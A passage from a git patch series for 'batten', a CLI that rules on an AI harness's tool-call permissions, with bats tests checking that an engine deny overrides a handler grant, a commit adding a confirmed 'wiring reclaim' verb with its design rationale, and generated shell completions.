anyway. + # 3. The row declares `preapproves`, so the same bytes are the reason on a + # channel the host honours. That is what this asserts. # - # MEASURED, and it corrects the reading this suite was first written against: - # an advisory the host has no model-facing surface for is NOT discarded — it - # goes to the engine's own stderr, where on this host at this event it is - # transcript-only rather than model-facing. Inert for the prompt CLOUD-191 - # exists to remove, and visible to a human reading the session. Those are - # different things and the row says which one it is asserting. + # Asserted over the DOCUMENT rather than over "not denied", because a + # not-denied assertion is satisfied by a handler that never ran at all. door mcp__bbbbbbbb-5555-6666-7777-888888888888__create_session - [[ "$DOOR_OUT" != *'"deny"'* ]] - [[ "$DOOR_ERR" == *"already allows create_session on Claude_Code_Remote"* ]] - [[ "$DOOR_ERR" != *"wrote a host decision document"* ]] - # Non-negotiable 4 holds on this stream too. - [[ "$DOOR_ERR" != *bbbbbbbb* ]] + [[ "$DOOR_OUT" == *'"permissionDecision":"allow"'* ]] + [[ "$DOOR_OUT" == *"already allows create_session on Claude_Code_Remote"* ]] + [[ "$DOOR_OUT" == *"hook.handler.connector-allow-guard"* ]] + # The grant is not ALSO advice: said twice, one copy would land on a channel + # that delivers nothing here and the reader would see the same sentence from + # two places. + [ -z "$DOOR_ERR" ] + # Non-negotiable 4 holds on the grant's channel too: the live key never travels. + [[ "$DOOR_OUT" != *bbbbbbbb* ]] +} + +@test "AN ENGINE DENY BEATS A HANDLER GRANT on the same call" { + # The safety property of the whole channel, and the only row that can fail if + # the composition is wrong. A grant may upgrade an allow and nothing else — so + # a handler that would pre-approve a call the engine refuses must lose, or a + # dispatched program could spend a verdict a rule reached. + # + # The fixture gains ONE rule that refuses this exact tool, so the two answers + # collide on one call by construction rather than by coincidence. + cat >>"$REPO/batten.toml" <<-'TOML' + + [[rule]] + id = "refuse-the-granted-tool" + kind = "shape" + scope = "mediated_call" + severity = "deny" + tool = "create_session" + reason = "the engine refuses this regardless of any grant" + TOML + door mcp__bbbbbbbb-5555-6666-7777-888888888888__create_session + [[ "$DOOR_OUT" == *'"permissionDecision":"deny"'* ]] + [[ "$DOOR_OUT" == *"refuse-the-granted-tool"* ]] + # And the grant is dropped rather than reported beside the refusal: it carries + # no finding, and printing "a handler wanted to allow this" next to a deny + # reads as a disagreement the reader has to arbitrate when the arbitration has + # already happened. + [[ "$DOOR_OUT" != *'"allow"'* ]] + [[ "$DOOR_OUT" != *"already allows"* ]] } @test "the impersonation detector is live behind this row, not merely defined" { diff --git a/tests/run-shape-guard-door.bats b/tests/run-shape-guard-door.bats index 4ff41c93f..29054e4f6 100644 --- a/tests/run-shape-guard-door.bats +++ b/tests/run-shape-guard-door.bats @@ -1,5 +1,9 @@ #!/usr/bin/env bats -# subject: mise-tasks/run-shape-guard.sh, through `batten hook` +# subject: mise-tasks/run-shape-guard.sh +# +# Paths only on that line: it is read as whitespace-separated paths, and it is +# what buys this file's deletion once they die. This suite drives that subject +# through `batten hook` — the door — which is a sentence, not a subject. # # THE SECOND TIER FOR CLOUD-312 ROW 4, and CLOUD-312's own differential # obligation: the retiring registration's fixtures replay through the door before diff --git a/tests/stop-guard-door.bats b/tests/stop-guard-door.bats index fbeae0e47..9259538e1 100644 --- a/tests/stop-guard-door.bats +++ b/tests/stop-guard-door.bats @@ -1,5 +1,9 @@ #!/usr/bin/env bats -# subject: mise-tasks/stop-guard.sh, through `batten hook` +# subject: mise-tasks/stop-guard.sh +# +# Paths only on that line: it is read as whitespace-separated paths, and it is +# what buys this file's deletion once they die. This suite drives that subject +# through `batten hook` — the door — which is a sentence, not a subject. # # THE SECOND TIER FOR CLOUD-312 ROW 9, and CLOUD-312's differential obligation: # the retiring registration's fixtures replay through the door before the From d4e232d51edbb3a42638b8ddadcea22b37fa42f7 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Wed, 26 Aug 2026 17:21:12 +0000 Subject: [PATCH 09/27] feat(wiring)!: the repair that cannot eat its own evidence MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The policy is that `batten hook` is the only command Batten registers natively and anything else moves behind the engine. `hooks-wiring-check` has enforced that since CLOUD-893 removed the `DECLARED` waiver, and two of its three remaining violations are registrations this repository CANNOT edit: they live in a launcher-provisioned file under `$HOME`. The gate was correct and there was no verb that could act on it. `batten wiring reclaim` is that verb. `destructive`, `-y` required, subject is this host's merged surfaces and never the committed one. WHY IT IS DESTRUCTIVE AND NOT A WRITE. `attribution identity`'s own recorded reasoning: that verb refused a `--global` write precisely because one file is shared by every checkout on the box, and this edits exactly such files. What it removes is somebody else's registration rather than one of batten's artifacts, and recovering one means knowing what it was — which is what the record preserves and what rule 4 forbids the report from printing. A new NOUN rather than a flag on `doctor hooks` or `generate hooks`, because §5 hangs an effect off a row and the agent read-only allowlist is `filter(effect == read)` with no second list: a `--repair` flag would drop the pure-stdout invocation every consumer uses out of that allowlist. RECORD BEFORE REPAIR, WHICH IS THE WHOLE DESIGN. A harness reads its wiring once, at session start. So a repair changes the DISK and cannot change what the running host has loaded, and a census taken after one reports `merged_siblings: 0` over a runtime still dispatching every sibling that was just deleted. That is a manufactured false green, and strictly worse than the waiver table this replaces: a waiver at least says what it excuses. So the verb writes the at-load set under `$GIT_DIR` before it edits a byte, `doctor hooks` reports the total as `at_load_siblings`, and the gate reads that FIRST — a non-zero record is `wiring-repair-unloaded`, naming the restart. `None` and `0` stay distinct because "no repair recorded" and "a repair found nothing" have different remedies. ONE WRITER, ONE EXPIRY, AND THAT IS WHY THE REPAIR IS NOT AUTOMATIC. The plan this implements wanted the merged arm repaired on `SessionStart`. It cannot be: the clear and the record would then both land inside one unordered batch of handlers and whichever went second would decide — a coin toss between the honest red and the exact false green the record exists to refuse. An unorderable pair is not a race to tune. So `reclaim` writes the record if absent and nothing else does, `batten hook` on `SessionStart` drops it and nothing else does, and the event is the session identity — no timestamp, no session key. `wiring apply` over the committed surface is deliberately NOT built. The one committed violation left is `session-start.sh`, whose remedy is a `[[hook.handler]]` row and not a deletion, so a writer for it would have no instance to be right about — and `serde_json` here has no `preserve_order`, so the minimal-edit writer it would need is real work bought for nothing. `committed_events`, `entries_under` and `same_file` moved out of `doctor.rs` into the new module. Not tidying: `merged_under`'s own comment says a sibling count that disagreed with the committed one about what a sibling IS could not be summed with it, and a reader and a writer that disagree is that defect one layer over. `is_batten` is now the single selector, and one unit case asserts the two sides count the same thing over one document. Two tiers, because the first cannot see the second's failures. The unit cases pin `prune_siblings` over documents they build themselves — the `with input as` shape — so every one of them would pass over a verb that read the wrong home, refused in the wrong direction, or recorded after repairing. `tests/wiring-reclaim.bats` drives the compiled binary against a real fixture `$HOME` for those four, and `tests/hooks-wiring-check.bats` drives the gate's new arm through its own injection seam. Three wrong turns are recorded where they happened: a re-typed settings path (rule 1, caught by `document_facts`), a comment naming the literal it forbade (the substring gate firing on its own explanation), and a case whose premise was wrong rather than the code — when a checkout sits AT `$HOME`, EVERY declared surface deduplicates, not just the settings one. Refs: CLOUD-893, CLOUD-605, CLOUD-312 --- .serena/memories/core.md | 21 ++ completions/batten.bash | 147 +++++++- completions/batten.fish | 102 +++-- completions/batten.zsh | 159 ++++++++ crates/batten/src/cli.rs | 40 ++ crates/batten/src/doctor.rs | 118 +++--- crates/batten/src/lib.rs | 130 ++++++- crates/batten/src/spec.rs | 8 + crates/batten/src/surface.rs | 41 ++ crates/batten/src/wiring.rs | 566 ++++++++++++++++++++++++++++ crates/batten/tests/pointer_only.rs | 16 + man/batten-wiring-reclaim.1 | 16 + man/batten-wiring.1 | 20 + man/batten.1 | 3 + mise-tasks/hooks-wiring-check.sh | 29 +- tests/hooks-wiring-check.bats | 63 ++++ tests/wiring-reclaim.bats | 223 +++++++++++ 17 files changed, 1599 insertions(+), 103 deletions(-) create mode 100644 crates/batten/src/wiring.rs create mode 100644 man/batten-wiring-reclaim.1 create mode 100644 man/batten-wiring.1 create mode 100644 tests/wiring-reclaim.bats diff --git a/.serena/memories/core.md b/.serena/memories/core.md index ffa7a119a..6af7b4b74 100644 --- a/.serena/memories/core.md +++ b/.serena/memories/core.md @@ -957,6 +957,27 @@ repo config > default`, declared as data in `SETTINGS` (per-key env var/flag), nothing — read through `waiver::reaches`, never a second list here); the runtime one (a waiver matching nothing) is deliberately out of scope — it would put `rules::run_all`'s spawning path behind a `read` verb. +- `wiring.rs` — the one WRITE path over a host's hook registrations (CLOUD-893), + surfaced as `wiring reclaim`: `destructive`, `-y` required, subject is this + host's merged `$HOME` surfaces and never the committed file (the `same_file` + arm). It also owns the three wiring-file readers `doctor.rs` used to hold — + `committed_events`, `entries_under`, `same_file` — so the census and the repair + cannot disagree about what a registration IS, which is the defect + `merged_under`'s own comment warns about. **Records before it repairs**: a + harness reads its wiring once at session start, so a repair changes the disk and + not the running host, and a census taken after one reports `merged_siblings: 0` + over a runtime still dispatching what was deleted. The at-load record under + `$GIT_DIR/batten-wiring/` is what keeps those two states distinguishable; + `doctor hooks` reports its total as `at_load_siblings` (`None` = no repair + recorded, which is read-the-disk) and `hooks-wiring-check` turns a non-zero into + `wiring-repair-unloaded`, naming the restart. The record has exactly ONE writer + and ONE expiry — `reclaim` writes it if absent, `batten hook` on `SessionStart` + drops it — which is why the repair is not run from a session-start handler at + all: both acts inside one unordered batch would be a coin toss between the + honest red and the false green the record exists to refuse. `wiring apply` over + the committed surface is deliberately unbuilt: the one committed violation left + is `session-start.sh`, whose remedy is a `[[hook.handler]]` row rather than a + deletion, so a writer for it would have no instance to be right about. - `worktree.rs` — at-risk work detection (CLOUD-51), surfaced as `worktree status`. Three categories as one read gate: **uncommitted** (the tree is not porcelain-clean), **unpushed** (commits with no patch-equivalent on the diff --git a/completions/batten.bash b/completions/batten.bash index a33e6a9e1..605581494 100644 --- a/completions/batten.bash +++ b/completions/batten.bash @@ -94,6 +94,9 @@ _batten() { batten,target) cmd="batten__subcmd__target" ;; + batten,wiring) + cmd="batten__subcmd__wiring" + ;; batten,worktree) cmd="batten__subcmd__worktree" ;; @@ -337,6 +340,9 @@ _batten() { batten__subcmd__help,target) cmd="batten__subcmd__help__subcmd__target" ;; + batten__subcmd__help,wiring) + cmd="batten__subcmd__help__subcmd__wiring" + ;; batten__subcmd__help,worktree) cmd="batten__subcmd__help__subcmd__worktree" ;; @@ -454,6 +460,9 @@ _batten() { batten__subcmd__help__subcmd__target,prune) cmd="batten__subcmd__help__subcmd__target__subcmd__prune" ;; + batten__subcmd__help__subcmd__wiring,reclaim) + cmd="batten__subcmd__help__subcmd__wiring__subcmd__reclaim" + ;; batten__subcmd__help__subcmd__worktree,status) cmd="batten__subcmd__help__subcmd__worktree__subcmd__status" ;; @@ -631,6 +640,18 @@ _batten() { batten__subcmd__target__subcmd__help,prune) cmd="batten__subcmd__target__subcmd__help__subcmd__prune" ;; + batten__subcmd__wiring,help) + cmd="batten__subcmd__wiring__subcmd__help" + ;; + batten__subcmd__wiring,reclaim) + cmd="batten__subcmd__wiring__subcmd__reclaim" + ;; + batten__subcmd__wiring__subcmd__help,help) + cmd="batten__subcmd__wiring__subcmd__help__subcmd__help" + ;; + batten__subcmd__wiring__subcmd__help,reclaim) + cmd="batten__subcmd__wiring__subcmd__help__subcmd__reclaim" + ;; batten__subcmd__worktree,help) cmd="batten__subcmd__worktree__subcmd__help" ;; @@ -650,7 +671,7 @@ _batten() { case "${cmd}" in batten) - opts="-q -v -y -h -V --strictness --fail-on-warning --config-from --silent --quiet --verbose --debug --trace --log-level --no-color --no-input --yes --help --version check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" + opts="-q -v -y -h -V --strictness --fail-on-warning --config-from --silent --quiet --verbose --debug --trace --log-level --no-color --no-input --yes --help --version check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" if [[ ${cur} == -* || ${COMP_CWORD} -eq 1 ]] ; then COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) return 0 @@ -2040,7 +2061,7 @@ _batten() { return 0 ;; batten__subcmd__help) - opts="check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" + opts="check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) return 0 @@ -2949,6 +2970,34 @@ _batten() { COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) return 0 ;; + batten__subcmd__help__subcmd__wiring) + opts="reclaim" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + batten__subcmd__help__subcmd__wiring__subcmd__reclaim) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; batten__subcmd__help__subcmd__worktree) opts="status" if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then @@ -4419,6 +4468,100 @@ _batten() { COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) return 0 ;; + batten__subcmd__wiring) + opts="-q -v -y -h --strictness --fail-on-warning --config-from --silent --quiet --verbose --debug --trace --log-level --no-color --no-input --yes --help reclaim help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --strictness) + COMPREPLY=($(compgen -W "permissive standard strict" -- "${cur}")) + return 0 + ;; + --config-from) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --log-level) + COMPREPLY=($(compgen -W "silent quiet normal verbose debug trace" -- "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + batten__subcmd__wiring__subcmd__help) + opts="reclaim help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + batten__subcmd__wiring__subcmd__help__subcmd__help) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + batten__subcmd__wiring__subcmd__help__subcmd__reclaim) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + batten__subcmd__wiring__subcmd__reclaim) + opts="-n -q -v -y -h --dry-run --strictness --fail-on-warning --config-from --silent --quiet --verbose --debug --trace --log-level --no-color --no-input --yes --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --strictness) + COMPREPLY=($(compgen -W "permissive standard strict" -- "${cur}")) + return 0 + ;; + --config-from) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --log-level) + COMPREPLY=($(compgen -W "silent quiet normal verbose debug trace" -- "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; batten__subcmd__worktree) opts="-q -v -y -h --strictness --fail-on-warning --config-from --silent --quiet --verbose --debug --trace --log-level --no-color --no-input --yes --help status help" if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then diff --git a/completions/batten.fish b/completions/batten.fish index f727d8e3e..bf8c8b1ac 100644 --- a/completions/batten.fish +++ b/completions/batten.fish @@ -71,6 +71,7 @@ complete -c batten -n "__fish_batten_needs_command" -f -a "receipt" -d 'Verifica complete -c batten -n "__fish_batten_needs_command" -f -a "defects" -d 'The append-only defect ledger: the lessons this repository has already paid for' complete -c batten -n "__fish_batten_needs_command" -f -a "design" -d 'Design-evidence claims: the integrity of the record behind a decision' complete -c batten -n "__fish_batten_needs_command" -f -a "state" -d 'The out-of-tree findings store: which store belongs to this checkout' +complete -c batten -n "__fish_batten_needs_command" -f -a "wiring" -d 'Repair a host\'s hook registrations' complete -c batten -n "__fish_batten_needs_command" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' complete -c batten -n "__fish_batten_using_subcommand check" -l rule -d 'Run only the declared rule with this id' -r complete -c batten -n "__fish_batten_using_subcommand check" -l strictness -d 'Raise how strictly gates apply (an override may only tighten policy)' -r -f -a "permissive\t'Advisory: findings are reported without failing the run' @@ -1607,33 +1608,79 @@ complete -c batten -n "__fish_batten_using_subcommand state; and __fish_seen_sub complete -c batten -n "__fish_batten_using_subcommand state; and __fish_seen_subcommand_from help" -f -a "migrate" -d 'Upgrade the findings store to this binary\'s record version' complete -c batten -n "__fish_batten_using_subcommand state; and __fish_seen_subcommand_from help" -f -a "list" -d 'List stored findings and the refs they were observed in' complete -c batten -n "__fish_batten_using_subcommand state; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "check" -d 'Run the applicable read-only gates against the repository' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "enforce" -d 'Run every configured rule, including kinds that execute a configured command' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "exec" -d 'Run a command — or a `:::` bundle — and report a pointer to what it wrote' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "capture" -d 'Captured command output: navigate what `exec` already ran, without running it again' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "target" -d 'Inspect and reclaim this repository\'s build tree' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "config" -d 'Inspect configuration' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "lint" -d 'Lint an artifact against a declared schema' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "spec" -d 'Print the tool\'s own command spec' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "doctor" -d 'Diagnose whether Batten can run in this repository' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "init" -d 'Write a starter batten.toml, refusing to overwrite an existing one' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "baseline" -d 'Record the findings that already exist, so only new ones fail' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "generate" -d 'Emit artifacts derived from the command spec, on stdout' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "perf" -d 'Measure this repository\'s own invocation cost' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "policy" -d 'Inspect the thresholds and path sets this repository holds itself to' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "commit" -d 'The shape a commit must take here: what its subject may say' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "semver" -d 'Whether this branch\'s API delta is compatible with the bump it claims' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "attribution" -d 'What produced commits may carry about the tooling that made them' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "worktree" -d 'Worktrees and the work in them: what is at risk' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "override" -d 'Issued admissions: an override is a record, never a variable somebody knows' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "provision" -d 'Pinned tools this repository provisions, cached out of tree' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "hook" -d 'Adjudicate a mediated tool call read from stdin (a deny is exit 2, the one contract)' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "payload" -d 'Read a hook payload from stdin' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "receipt" -d 'Verification receipts: SHA-keyed claims a named check passed, invalidated by git facts' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "defects" -d 'The append-only defect ledger: the lessons this repository has already paid for' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "design" -d 'Design-evidence claims: the integrity of the record behind a decision' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "state" -d 'The out-of-tree findings store: which store belongs to this checkout' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l strictness -d 'Raise how strictly gates apply (an override may only tighten policy)' -r -f -a "permissive\t'Advisory: findings are reported without failing the run' +standard\t'The default: a finding is a violation' +strict\t'Everything `Standard` fails on, plus anything advisory'" +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l config-from -d 'Read the committed config from a git ref (e.g. origin/main) instead of the working tree' -r +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l log-level -d 'Set the verbosity rung by name' -r -f -a "silent\t'Say nothing but a verdict or a usage error' +quiet\t'Suppress ordinary progress; keep warnings' +normal\t'The default' +verbose\t'Explain what is being checked' +debug\t'Add resolution detail' +trace\t'Add everything'" +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l fail-on-warning -d 'Promote a warn-severity finding to a violation (an override may only turn this on)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l silent -d 'Say nothing but a verdict or a usage error' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -s q -l quiet -d 'Suppress ordinary progress (repeatable: -qq is silent)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -s v -l verbose -d 'Explain what is being checked (repeatable: -vv is debug)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l debug -d 'Add resolution detail' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l trace -d 'Add everything' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l no-color -d 'Never colour stderr, whatever it is attached to' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l no-input -d 'Never prompt; treat the run as unattended' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -s y -l yes -d 'Confirm a destructive operation that would otherwise refuse' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -s h -l help -d 'Print help (see more with \'--help\')' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -f -a "reclaim" -d 'Remove non-batten hook registrations from this host\'s merged surfaces' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l strictness -d 'Raise how strictly gates apply (an override may only tighten policy)' -r -f -a "permissive\t'Advisory: findings are reported without failing the run' +standard\t'The default: a finding is a violation' +strict\t'Everything `Standard` fails on, plus anything advisory'" +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l config-from -d 'Read the committed config from a git ref (e.g. origin/main) instead of the working tree' -r +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l log-level -d 'Set the verbosity rung by name' -r -f -a "silent\t'Say nothing but a verdict or a usage error' +quiet\t'Suppress ordinary progress; keep warnings' +normal\t'The default' +verbose\t'Explain what is being checked' +debug\t'Add resolution detail' +trace\t'Add everything'" +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -s n -l dry-run -d 'Preview what would be applied, writing nothing' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l fail-on-warning -d 'Promote a warn-severity finding to a violation (an override may only turn this on)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l silent -d 'Say nothing but a verdict or a usage error' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -s q -l quiet -d 'Suppress ordinary progress (repeatable: -qq is silent)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -s v -l verbose -d 'Explain what is being checked (repeatable: -vv is debug)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l debug -d 'Add resolution detail' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l trace -d 'Add everything' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l no-color -d 'Never colour stderr, whatever it is attached to' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l no-input -d 'Never prompt; treat the run as unattended' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -s y -l yes -d 'Confirm a destructive operation that would otherwise refuse' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -s h -l help -d 'Print help (see more with \'--help\')' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from help" -f -a "reclaim" -d 'Remove non-batten hook registrations from this host\'s merged surfaces' +complete -c batten -n "__fish_batten_using_subcommand 